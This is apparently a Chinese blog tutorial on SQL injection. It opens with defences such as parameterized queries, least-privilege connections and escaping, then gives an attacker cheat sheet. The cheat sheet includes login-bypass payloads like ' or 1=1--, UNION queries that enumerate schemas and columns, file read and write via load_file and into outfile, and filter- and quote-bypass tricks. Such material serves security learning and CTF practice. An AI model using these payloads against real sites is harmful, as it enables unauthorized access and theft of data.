SQL注入:防范策略、PHP防御及实用技巧

SQL 注入

前提

在学习了MySQL 常见命令与程序的学习后,对于SQL命令有了深入的了解后,学习SQL 注入

SQL注入

如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题。

本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理。

防止注入

永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。

永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用==sql注入检测工具jsky==,网站平台就有亿思网站安全平台检测工具。==MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击==等。

PHP 防止注入发生

在脚本语言,如Perl和PHP你可以对用户输入的数据进行转义从而来防止SQL注入。

PHP的MySQL扩展mysqli_real_escape_string()函数来转义特殊的输入字符

PHP脚本中我们可以使用addcslashes()函数来处理以上情况:用户输入的值有"_""%",则会出现这种情况:用户本来只是想查询"abcd_",查询结果中却有"abcd_"、"abcde"、"abcdf"slash表示斜杠;

注入参数

user():当前数据库用户

database():当前数据库名

version():当前使用的数据库版本

@@datadir:数据库存储数据路径

concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)

group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来

concat_ws():用法类似

hex()unhex():用于 hex 编码解码

load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\

select xxoo into outfile '路径':权限较高时可直接写文件

语法技巧

--

DROP sampletable;--

#

DROP sampletable;#

行内注释

/*注释内容*/

DROP/*comment*/sampletable`   DR/**/OP/*绕过过滤*/sampletable`   SELECT/*替换空格*/password/**/FROM/**/Members

/*! MYSQL专属 */

SELECT /*!32302 1/0, */ 1 FROM tablename

字符串编码

ASCII():返回字符的 ASCII 码值

CHAR():把整数转换为对应的字符

后台万能密码

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入语句

获取所有数据库名和表名

#获取所有数据库
show databases;
select schema_name from information_schema.schemata;

# 查看当前所在的数据库名称
select database();
# 查看表
show tables;

使用union 来注入

--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */

UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */

SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';

获取表明列明

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' # 获取某一个表的对应的所有列名

-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';

-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

# 获取列名
show columns from [数据表]
show index from [数据表]

条件语句的注入

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

绕过引号的限制

如何绕过引号的限制

-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

如何绕过的特殊字符串

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

参考

[1] CTF wiki /SQL 注入

发表评论

0 评论